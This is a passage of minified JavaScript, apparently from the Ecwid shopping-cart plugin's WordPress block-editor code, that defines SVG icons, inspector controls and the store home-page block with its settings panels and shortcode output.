5.40629944,11 4.5,11 Z",id:"Combined-Shape"}))))),product:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-352.000000, -324.000000)",fill:"#555D66","fill-rule":"nonzero"},wp.element.createElement("g",{id:"icon-product",transform:"translate(352.000000, 324.000000)"},wp.element.createElement("path",{d:"M4,9 L4,20 L20,20 L20,9 L4,9 Z M2,7 L22,7 L22,22 L2,22 L2,7 Z",id:"Rectangle-2-Copy-2"}),wp.element.createElement("path",{d:"M9,7 L15,7 L15,15 L12.0361633,14 L9,15 L9,7 Z M11,9 L11,12 L12.0361633,11.5393066 L13,12 L13,9 L11,9 Z",id:"Combined-Shape"}),wp.element.createElement("polygon",{id:"Line-3",points:"13 9 11 9 11 2 13 2"}),wp.element.createElement("polygon",{id:"Rectangle-2-Copy-2",points:"17.0387503 4 19.4387503 7 22 7 18 2 6 2 2 7 4.56124969 7 6.96124969 4"}))))),aspect169:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"9",y:"14",width:"22",height:"12",rx:"2"}))),aspect916:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"}," ",wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"14",y:"9",width:"12",height:"22",rx:"2"}))),aspect11:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"12",y:"12",width:"16",height:"16",rx:"2"}))),aspect34:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"12",y:"10",width:"16",height:"20",rx:"2"}))),aspect43:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"10",y:"12",width:"20",height:"16",rx:"2"}))),textalignleft:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"13",y:"13",width:"14",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"16",width:"9",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"19",width:"13",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"22",width:"9",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"25",width:"14",height:"2"}))),textaligncenter:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"13",y:"13",width:"14",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"16",y:"16",width:"8",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"14",y:"19",width:"12",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"16",y:"22",width:"8",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"25",width:"14",height:"2"}))),textalignright:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"13",y:"13",width:"14",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"18",y:"16",width:"9",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"14",y:"19",width:"13",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"18",y:"22",width:"9",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"25",width:"14",height:"2"}))),textalignjustify:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",zoomAndPan:"1.5",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"13",y:"13",width:"14",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"16",width:"14",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"19",width:"14",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"22",width:"14",height:"2"}),wp.element.createElement("rect",{fill:"#000000",x:"13",y:"25",width:"14",height:"2"}))),productLayout3Columns:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",transform:"translate(13.000000, 19.500000) rotate(-270.000000) translate(-13.000000, -19.500000) ",x:"3.5",y:"16.5",width:"19",height:"6",rx:"1"}),wp.element.createElement("rect",{fill:"#000000",x:"18",y:"10",width:"5",height:"19"}),wp.element.createElement("rect",{fill:"#000000",x:"25",y:"10",width:"5",height:"8"}),wp.element.createElement("rect",{fill:"#000000",x:"25",y:"19",width:"5",height:"10"}))),productLayout2ColumnsLeft:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("rect",{fill:"#000000",x:"17",y:"10",width:"13",height:"19",rx:"1"}),wp.element.createElement("rect",{fill:"#000000",x:"10",y:"10",width:"5",height:"5"}),wp.element.createElement("rect",{fill:"#000000",x:"10",y:"17",width:"5",height:"12"}))),productLayout2ColumnsRight:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{transform:"translate(10.000000, 10.000000)",fill:"#000000"},wp.element.createElement("rect",{x:"0",y:"0",width:"13",height:"19",rx:"1"}),wp.element.createElement("rect",{x:"15",y:"0",width:"5",height:"5"}),wp.element.createElement("rect",{x:"15",y:"7",width:"5",height:"12"})))),productLayout2ColumnsBottom:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{transform:"translate(10.000000, 10.000000)",fill:"#000000"},wp.element.createElement("rect",{x:"0",y:"0",width:"13",height:"12",rx:"1"}),wp.element.createElement("rect",{x:"15",y:"0",width:"5",height:"12"}),wp.element.createElement("rect",{x:"0",y:"14",width:"20",height:"5"})))),galleryLayoutHorizontal:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{transform:"translate(20.000000, 20.500000) rotate(-180.000000) translate(-20.000000, -20.500000) translate(10.000000, 11.000000)",fill:"#000000","fill-rule":"nonzero"},wp.element.createElement("rect",{x:"0",y:"0",width:"13",height:"19",rx:"1"}),wp.element.createElement("rect",{x:"15",y:"0",width:"5",height:"6"}),wp.element.createElement("rect",{x:"15",y:"14",width:"5",height:"5"}),wp.element.createElement("rect",{x:"15",y:"7",width:"5",height:"6"})))),galleryLayoutVertical:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{transform:"translate(19.500000, 20.000000) rotate(-270.000000) translate(-19.500000, -20.000000) translate(9.500000, 10.500000)",fill:"#000000","fill-rule":"nonzero"},wp.element.createElement("rect",{x:"0",y:"-1.13686838e-13",width:"13",height:"19",rx:"1"}),wp.element.createElement("rect",{x:"15",y:"-1.13686838e-13",width:"5",height:"6"}),wp.element.createElement("rect",{x:"15",y:"7",width:"5",height:"5"}),wp.element.createElement("rect",{x:"15",y:"13",width:"5",height:"6"})))),galleryLayoutFeed:wp.element.createElement("svg",{width:"40px",height:"40px",viewBox:"0 0 40 40",version:"1.1"},wp.element.createElement("g",{stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{transform:"translate(20.500000, 12.500000) rotate(-270.000000) translate(-20.500000, -12.500000) translate(14.000000, 3.000000)",fill:"#000000","fill-rule":"nonzero"},wp.element.createElement("rect",{x:"0",y:"0",width:"13",height:"19",rx:"1"})),wp.element.createElement("g",{transform:"translate(20.500000, 27.500000) rotate(-270.000000) translate(-20.500000, -27.500000) translate(14.000000, 18.000000)",fill:"#000000","fill-rule":"nonzero"},wp.element.createElement("rect",{x:"0",y:"0",width:"13",height:"19",rx:"1"})))),cart:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-352.000000, -415.000000)",fill:"#555D66"},wp.element.createElement("g",{id:"cart-icon",transform:"translate(352.000000, 415.000000)"},wp.element.createElement("path",{d:"M4.5269723,4 L2,4 C1.44771525,4 1,3.55228475 1,3 C1,2.44771525 1.44771525,2 2,2 L5.33333333,2 C5.80393835,2 6.21086155,2.32812702 6.31061146,2.788039 L7.22413999,7 L21,7 C21.6640252,7 22.143636,7.63527258 21.9617572,8.27390353 L19.968471,15.272927 C19.8460922,15.7026358 19.4535094,15.9990234 19.0067139,15.9990234 L7.93579102,15.9990234 C7.465186,15.9990234 7.0582628,15.6708964 6.95851289,15.2109844 L4.5269723,4 Z M7.65791824,9 L8.74215205,13.9990234 L18.2517453,13.9990234 L19.6754416,9 L7.65791824,9 Z",id:"Path-3","fill-rule":"nonzero"}),wp.element.createElement("circle",{id:"Oval-2",cx:"9",cy:"20",r:"2"}),wp.element.createElement("circle",{id:"Oval-2",cx:"18",cy:"20",r:"2"}))))),search:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-469.000000, -324.000000)",fill:"#555D66","fill-rule":"nonzero"},wp.element.createElement("g",{id:"search-icon",transform:"translate(469.000000, 324.000000)"},wp.element.createElement("path",{d:"M3.83470744,16.348799 C3.83470744,15.7965143 4.28242269,15.348799 4.83470744,15.348799 C5.38699219,15.348799 5.83470744,15.7965143 5.83470744,16.348799 L5.81335241,21.7511152 C5.81335241,22.3033999 5.36563716,22.7511152 4.81335241,22.7511152 C4.26106766,22.7511152 3.81335241,22.3033999 3.81335241,21.7511152 L3.83470744,16.348799 Z",id:"Line-2",transform:"translate(4.824030, 19.049957) scale(-1, 1) rotate(-45.000000) translate(-4.824030, -19.049957) "}),wp.element.createElement("path",{d:"M13,18 C16.8659932,18 20,14.8659932 20,11 C20,7.13400675 16.8659932,4 13,4 C9.13400675,4 6,7.13400675 6,11 C6,14.8659932 9.13400675,18 13,18 Z M13,20 C8.02943725,20 4,15.9705627 4,11 C4,6.02943725 8.02943725,2 13,2 C17.9705627,2 22,6.02943725 22,11 C22,15.9705627 17.9705627,20 13,20 Z",id:"Oval",transform:"translate(13.000000, 11.000000) scale(-1, 1) translate(-13.000000, -11.000000) "}),wp.element.createElement("path",{d:"M17,6 C17.5522847,6 18,6.44771525 18,7 C18,7.55228475 17.5522847,8 17,8 C15.0670034,8 13.5,9.56700338 13.5,11.5 C13.5,12.0522847 13.0522847,12.5 12.5,12.5 C11.9477153,12.5 11.5,12.0522847 11.5,11.5 C11.5,8.46243388 13.9624339,6 17,6 Z",id:"Oval",transform:"translate(14.750000, 9.250000) scale(-1, 1) translate(-14.750000, -9.250000) "}))))),categories:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-234.000000, -416.000000)"},wp.element.createElement("g",{id:"categories-icon",transform:"translate(234.000000, 416.000000)"},wp.element.createElement("polygon",{id:"Triangle",fill:"#555D66",points:"3 2 5.5 7 0.5 7"}),wp.element.createElement("polygon",{id:"Line",fill:"#555D66","fill-rule":"nonzero",points:"8 6 8 4 23 4 23 6"}),wp.element.createElement("polygon",{id:"Line",fill:"#555D66","fill-rule":"nonzero",points:"8 13 8 11 23 11 23 13"}),wp.element.createElement("polygon",{id:"Line",fill:"#555D66","fill-rule":"nonzero",points:"8 20 8 18 23 18 23 20"}),wp.element.createElement("rect",{id:"Rectangle",stroke:"#555D66","stroke-width":"2",fill:"#FFFFFF",x:"2",y:"11",width:"2",height:"2"}),wp.element.createElement("rect",{id:"Rectangle",stroke:"#555D66","stroke-width":"2",fill:"#FFFFFF",x:"2",y:"18",width:"2",height:"2",rx:"1"}))))),category:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-470.000000, -416.000000)",fill:"#555D66","fill-rule":"nonzero"},wp.element.createElement("g",{id:"category-icon",transform:"translate(470.000000, 416.000000)"},wp.element.createElement("polygon",{id:"Line-4",points:"3 4 3 2 21 2 21 4"}),wp.element.createElement("path",{d:"M5,17 L5,20 L9,20 L9,17 L5,17 Z M3,15 L11,15 L11,22 L3,22 L3,15 Z",id:"Rectangle-2"}),wp.element.createElement("path",{d:"M5,8 L5,11 L9,11 L9,8 L5,8 Z M3,6 L11,6 L11,13 L3,13 L3,6 Z",id:"Rectangle-2-Copy"}),wp.element.createElement("path",{d:"M15,17 L15,20 L19,20 L19,17 L15,17 Z M13,15 L21,15 L21,22 L13,22 L13,15 Z",id:"Rectangle-2"}),wp.element.createElement("path",{d:"M15,8 L15,11 L19,11 L19,8 L15,8 Z M13,6 L21,6 L21,13 L13,13 L13,6 Z",id:"Rectangle-2-Copy-3"}))))),button:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-345.000000, -280.000000)",fill:"#555D66","fill-rule":"nonzero"},wp.element.createElement("g",{id:"button-icon",transform:"translate(345.000000, 280.000000)"},wp.element.createElement("path",{d:"M4,8 L4,16 L20,16 L20,8 L4,8 Z M4,6 L20,6 C21.1045695,6 22,6.8954305 22,8 L22,16 C22,17.1045695 21.1045695,18 20,18 L4,18 C2.8954305,18 2,17.1045695 2,16 L2,8 C2,6.8954305 2.8954305,6 4,6 Z",id:"Rectangle-5"}),wp.element.createElement("path",{d:"M13.8320367,9.8101295 C14.2137832,9.41102047 14.8467917,9.3969454 15.2459008,9.77869195 C15.6450098,10.1604385 15.6590849,10.793447 15.2773383,11.192556 L12.2122748,14.3970238 C11.8300377,14.7966458 11.1960253,14.8101668 10.7970986,14.427204 L9.5128579,13.1943549 C9.11444327,12.8118837 9.10151859,12.1788506 9.48398981,11.780436 C9.86646103,11.3820214 10.4994941,11.3690967 10.8979087,11.7515679 L11.4594438,12.290632 L13.8320367,9.8101295 Z",id:"Line-6"}))))),productPreview:wp.element.createElement("svg",{width:"72px",height:"72px",viewBox:"0 0 72 72",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets",transform:"translate(-625.000000, -811.000000)",fill:"#AAAAAA"},wp.element.createElement("g",{id:"Group-2",transform:"translate(571.000000, 756.000000)"},wp.element.createElement("g",{id:"product-preview",transform:"translate(54.000000, 55.000000)"},wp.element.createElement("path",{d:"M6,25 L6,69 L66,69 L66,25 L6,25 Z M4,23 L68,23 L68,71 L4,71 L4,23 Z",id:"Rectangle-2-Copy-2","fill-rule":"nonzero"}),wp.element.createElement("path",{d:"M36.5,23.5 L65.836706,23.5 L67.2237665,22.8226349 L55.0328393,7.34740904 L39.8812213,0.895706316 L40.7501329,7.5 L17.0403124,7.5 L5.04031242,22.5 L6.32093727,22.5 L17.5209373,8.5 L36.5,8.5 L36.5,23.5 Z M42.9573255,16.6099474 L41.1011835,2.50206036 L54.4056315,8.16722056 L66.5284549,23.5566573 L42.9573255,16.6099474 Z",id:"Combined-Shape",stroke:"#AAAAAA"}),wp.element.createElement("path",{d:"M29.8056641,41.53125 C29.9375,38.2060547 32.2080078,35.6865234 36.4560547,35.6865234 C40.3232422,35.6865234 42.9306641,37.9863281 42.9306641,41.1210938 C42.9306641,43.3916016 41.7880859,44.9882812 39.8544922,46.1455078 C37.9648438,47.2587891 37.4228516,48.0351562 37.4228516,49.5439453 L37.4228516,50.4375 L34.390625,50.4375 L34.3759766,49.265625 C34.3027344,47.2001953 35.1962891,45.8818359 37.203125,44.6806641 C38.9755859,43.6113281 39.6054688,42.7617188 39.6054688,41.2529297 C39.6054688,39.5976562 38.3017578,38.3818359 36.2949219,38.3818359 C34.2734375,38.3818359 32.9697266,39.5976562 32.8378906,41.53125 L29.8056641,41.53125 Z M35.9287109,57.2197266 C34.859375,57.2197266 34.0097656,56.3994141 34.0097656,55.3300781 C34.0097656,54.2607422 34.859375,53.4404297 35.9287109,53.4404297 C37.0273438,53.4404297 37.8623047,54.2607422 37.8623047,55.3300781 C37.8623047,56.3994141 37.0273438,57.2197266 35.9287109,57.2197266 Z",id:"?"})))))),filters:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd","stroke-linecap":"square"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-354.000000, -500.000000)",stroke:"#555D66","stroke-width":"2"},wp.element.createElement("g",{id:"filter-icon",transform:"translate(354.000000, 500.000000)"},wp.element.createElement("path",{d:"M3,6 L21,6",id:"Line-5"}),wp.element.createElement("path",{d:"M7,12 L17,12",id:"Line-5"}),wp.element.createElement("path",{d:"M10,18 L14,18",id:"Line-5"}))))),cartPage:wp.element.createElement("svg",{width:"24px",height:"24px",viewBox:"0 0 24 24",version:"1.1"},wp.element.createElement("g",{id:"Typography",stroke:"none","stroke-width":"1",fill:"none","fill-rule":"evenodd"},wp.element.createElement("g",{id:"gutenberg-widgets-icons",transform:"translate(-470.000000, -500.000000)",fill:"#555D66"},wp.element.createElement("g",{id:"cart-icon",transform:"translate(470.000000, 500.000000)"},wp.element.createElement("g",{id:"Group-6",transform:"translate(2.000000, 3.000000)"},wp.element.createElement("path",{d:"M2.5269723,1 L0,1 C-0.55228475,1 -1,0.55228475 -1,-1.11022302e-16 C-1,-0.55228475 -0.55228475,-1 0,-1 L3.33333333,-1 C3.80393835,-1 4.21086155,-0.671872981 4.31061146,-0.211960997 L6.74215205,10.9990234 L16.2517453,10.9990234 L17.6754416,6 L17.0067139,6 C16.4544291,6 16.0067139,5.55228475 16.0067139,5 C16.0067139,4.44771525 16.4544291,4 17.0067139,4 L19,4 C19.6640252,4 20.143636,4.63527258 19.9617572,5.27390353 L17.968471,12.272927 C17.8460922,12.7026358 17.4535094,12.9990234 17.0067139,12.9990234 L5.93579102,12.9990234 C5.465186,12.9990234 5.0582628,12.6708964 4.95851289,12.2109844 L2.5269723,1 Z",id:"Path-3","fill-rule":"nonzero"}),wp.element.createElement("path",{d:"M13.6266547,1.30878828 C14.0084012,0.909679249 14.6414097,0.895604177 15.0405188,1.27735072 C15.4396278,1.65909727 15.4537029,2.29210579 15.0719563,2.69121482 L11.0068929,6.89568259 C10.6246557,7.29530459 9.99064332,7.30882561 9.59171662,6.92586281 L7.61584318,5.00113813 C7.21742856,4.61866691 7.20450388,3.98563386 7.5869751,3.58721924 C7.96944632,3.18880462 8.60247937,3.17587994 9.00089399,3.55835116 L10.2540618,4.78929076 L13.6266547,1.30878828 Z",id:"Line-6","fill-rule":"nonzero"}),wp.element.createElement("circle",{id:"Oval-2",cx:"7",cy:"17",r:"2"}),wp.element.createElement("circle",{id:"Oval-2",cx:"16",cy:"17",r:"2"}))))))}},function(e,t,r){"use strict";function n(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function o(e,t){var r=t.attributes,o=function(e,t,o,l){return wp.element.createElement(u,{label:o},wp.element.createElement(d,null,l.map(function(o){return wp.element.createElement(m,{isDefault:!0,isButton:!0,isPrimary:r[t]===o.value,onClick:function(){return e.setAttributes(n({},t,o.value))}},o.title)})))},l=function(e,t,r){return wp.element.createElement(w,{label:r,checked:e.attributes[t],onChange:function(){return e.setAttributes(n({},t,!e.attributes[t]))}})},a=function(e,t,r,o){return wp.element.createElement(u,{label:r},wp.element.createElement("select",{onChange:function(r){e.setAttributes(n({},t,r.target.value))}},o.map(function(r){return wp.element.createElement("option",{value:r.value,selected:e.attributes[t]==r.value},r.title)})))},i=function(e,t,r){return wp.element.createElement(u,{label:r},wp.element.createElement("input",{type:"text",value:e.attributes[t],onChange:function(r){e.setAttributes(n({},t,r.target.value))}}))},p=function(e,t,r,o){return wp.element.createElement(u,{label:r},wp.element.createElement(g,{controls:o.map(function(r){return{icon:c.a[r.icon],title:r.title,isActive:e.attributes[t]===r.value,className:"ecwid-toolbar-icon",onClick:function(){return e.setAttributes(n({},t,r.value))}}})}))};return{buttonGroup:function(r){var n=e[r];return o(t,n.name,n.title,n.values)},toggle:function(r){var n=e[r];return l(t,n.name,n.title)},select:function(r){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,o=e[r];return a(t,o.name,n||o.title,o.values)},textbox:function(r){var n=e[r];return builtTextbox(t,n.name,n.title)},toolbar:function(r){var n=e[r];return p(t,n.name,n.title,n.values)},color:function(r){return wp.element.createElement(s.a,{props:t,name:r,title:e[r].title})},defaultCategoryId:function(r){var n=e[r];return n.values&&n.values.length>1?a(t,n.name,n.title,n.values):i(t,n.name,n.title)}}}function l(e){return wp.element.createElement("div",{className:"ec-store-inspector-subheader-row"},wp.element.createElement("label",{className:"ec-store-inspector-subheader"},e))}function a(e){return wp.element.createElement("div",{className:"ec-store-block ec-store-generic-block"},wp.element.createElement("div",{className:"ec-store-block-header"},e.icon,e.title),wp.element.createElement("div",{className:"ec-store-block-content"},e.children),e.showDemoButton&&wp.element.createElement("div",null,wp.element.createElement("a",{className:"button button-primary",href:"admin.php?page=ec-store"},h("Set up your store","ecwid-shopping-cart"))))}function i(e){var t=EcwidGutenbergParams.imagesUrl+e.src;return wp.element.createElement("img",{src:t})}r.d(t,"a",function(){return o}),r.d(t,"c",function(){return l}),r.d(t,"b",function(){return i}),r.d(t,"d",function(){return a});var c=r(0),s=r(6),p=wp.components,d=p.ButtonGroup,m=p.Button,u=p.BaseControl,g=p.Toolbar,w=p.ToggleControl,h=wp.i18n.__},function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=(r(3),r(7),r(10),r(13),r(16),r(19),r(22),r(25),r(28),r(31),r(0));wp.blocks.updateCategory("ec-store",{icon:n.a.ecwid})},function(e,t,r){"use strict";var n=r(4),o=(r.n(n),r(5)),l=(r.n(o),r(0)),a=r(1),i=wp.i18n,c=i.__,s=(i._x,wp.blocks.registerBlockType),p=wp.editor.InspectorControls,d=wp.components,m=d.PanelBody,u=(d.PanelRow,d.ToggleControl,d.ButtonGroup,d.Button,d.BaseControl),g=(d.Toolbar,d.ColorPalette,d.ColorIndicator,wp.compose.withState,EcwidGutenbergParams.blockParams["ecwid/store-block"]);s("ecwid/store-block",{title:c("Store Home Page","ecwid-shopping-cart"),icon:l.a.store,category:"ec-store",attributes:g.attributes,description:c("Add storefront (product listing)","ecwid-shopping-cart"),supports:{customClassName:!1,className:!1,html:!1,multiple:!1},edit:function(e){function t(e,t){return wp.element.createElement(u,{label:e},wp.element.createElement("div",{dangerouslySetInnerHTML:{__html:t}}))}var r=e.attributes;e.setAttributes({widgets:""});var n=wp.element.createElement(a.d,{icon:l.a.store,title:c("Store Home Page","ecwid-shopping-cart"),showDemoButton:g.isDemoStore},wp.element.createElement("div",{className:"ec-store-products"},wp.element.createElement("div",{className:"ec-store-product1"}),wp.element.createElement("div",{className:"ec-store-product2"}),wp.element.createElement("div",{className:"ec-store-product3"})),wp.element.createElement("div",{className:"ec-store-products"},wp.element.createElement("div",{className:"ec-store-product4"}),wp.element.createElement("div",{className:"ec-store-product5"}),wp.element.createElement("div",{className:"ec-store-product6"}))),o=t("",c('To improve the look and feel of your store and manage your storefront appearance here, please enable the \u201cNext-gen look and feel of the product list on the storefront\u201d option in your store dashboard (\u201c<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings \u2192 What\u2019s New</a>\u201d).',"ecwid-shopping-cart")),i=t(c("Display cart icon","ecwid-shopping-cart"),g.customizeMinicartText),s=(t("",c('To improve the look and feel of your product page and manage its appearance here, please enable the \u201cNext-gen look and feel of the product page on the storefront\u201d option in your store dashboard (\u201c<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings \u2192 What\u2019s New</a>\u201d).',"ecwid-shopping-cart")),g.isNewProductList),d=g.isNewDetailsPage,w=g.attributes.default_category_id&&g.attributes.default_category_id.values&&g.attributes.default_category_id.values.length>0,h=Object(a.a)(g.attributes,e);return[n,wp.element.createElement(p,null,w&&wp.element.createElement(m,{title:c("Category List Appearance","ecwid-shopping-cart"),initialOpen:!1},s&&[h.select("product_list_category_title_behavior"),"SHOW_TEXT_ONLY"!==r.product_list_category_title_behavior&&[h.buttonGroup("product_list_category_image_size"),h.toolbar("product_list_category_image_aspect_ratio")]],!s&&o),wp.element.createElement(m,{title:c("Product List Appearance","ecwid-shopping-cart"),initialOpen:!1},s&&[h.toggle("product_list_show_product_images"),r.product_list_show_product_images&&[h.buttonGroup("product_list_image_size"),h.toolbar("product_list_image_aspect_ratio")],h.toolbar("product_list_product_info_layout"),h.select("product_list_title_behavior"),h.select("product_list_price_behavior"),h.select("product_list_sku_behavior"),h.select("product_list_buybutton_behavior"),h.toggle("product_list_show_additional_image_on_hover"),h.toggle("product_list_show_frame")],!s&&o),wp.element.createElement(m,{title:c("Product Page Appearance","ecwid-shopping-cart"),initialOpen:!1},d&&[h.select("product_details_layout"),("TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT"===r.product_details_layout||"TWO_COLUMNS_SIDEBAR_ON_THE_LEFT"===r.product_details_layout)&&h.toggle("show_description_under_image"),h.toolbar("product_details_gallery_layout"),Object(a.c)(c("Product sidebar content","ecwid-shopping-cart")),h.toggle("product_details_show_product_name"),h.toggle("product_details_show_breadcrumbs"),h.toggle("product_details_show_product_sku"),h.toggle("product_details_show_product_price"),h.toggle("product_details_show_qty"),h.toggle("product_details_show_number_of_items_in_stock"),h.toggle("product_details_show_in_stock_label"),h.toggle("product_details_show_wholesale_prices"),h.toggle("product_details_show_share_buttons")],!d&&o),w&&wp.element.createElement(m,{title:c("Store Front Page","ecwid-shopping-cart"),initialOpen:!1},h.defaultCategoryId("default_category_id")),wp.element.createElement(m,{title:c("Store Navigation","ecwid-shopping-cart"),initialOpen:!1},h.toggle("show_categories"),h.toggle("show_search"),h.toggle("show_breadcrumbs"),s&&h.toggle("show_footer_menu"),h.toggle("show_signin_link"),h.toggle("product_list_show_sort_viewas_options"),i),wp.element.createElement(m,{title:c("Color settings","ecwid-shopping-cart"),initialOpen:!1},h.color("chameleon_color_button"),h.color("chameleon_color_foreground"),h.color("chameleon_color_price"),h.color("chameleon_color_link"),h.color("chameleon_color_background")))]},save:function(e){var t=["productbrowser"];e.attributes.show_categories&&(t[t.length]="categories"),e.attributes.show_search&&(t[t.length]="search");var r={widgets:t.join(" "),default_category_id:"undefined"!==typeof e.attributes.default_category_id?e.attributes.default_category_id:0};return new wp.shortcode({tag:g.shortcodeName,attrs:r,type:"single"}).string()},deprecated:[{attributes:{widgets:{type:"string"},categories_per_row:{type:"integer"},grid:{type:"string"},list:{type:"integer"},table:{type:"integer"},default_category_id:{type:"integer"},default_product_id:{type:"integer"},category_view:{type:"string"},search_view:{type:"string"},minicart_layout:{type:"string"}},save:function(e){return null}},{attributes:{widgets:{type:"string",default:"productbrowser"},default_category_id:{type:"integer",default:0}},migrate:function(e){return{widgets:e.widgets,default_category_id:e.default_category_id}},save:function(e){for(var t={},r=["widgets","default_category_id"],n=0;n<r.length;n++)t[r[n]]=e.attributes[r[n]];return t.default_product_id=0,new wp.shortcode({tag:g.shortcodeName,attrs:t,type:"single"}).string()}},{save:function(e){return"[ecwid]"}},{save:function(e){return'[ecwid widgets="productbrowser" default_category_id="0" default_product_id="0"]'}},{save:function(e){return'[ecwid widgets="productbrowser" 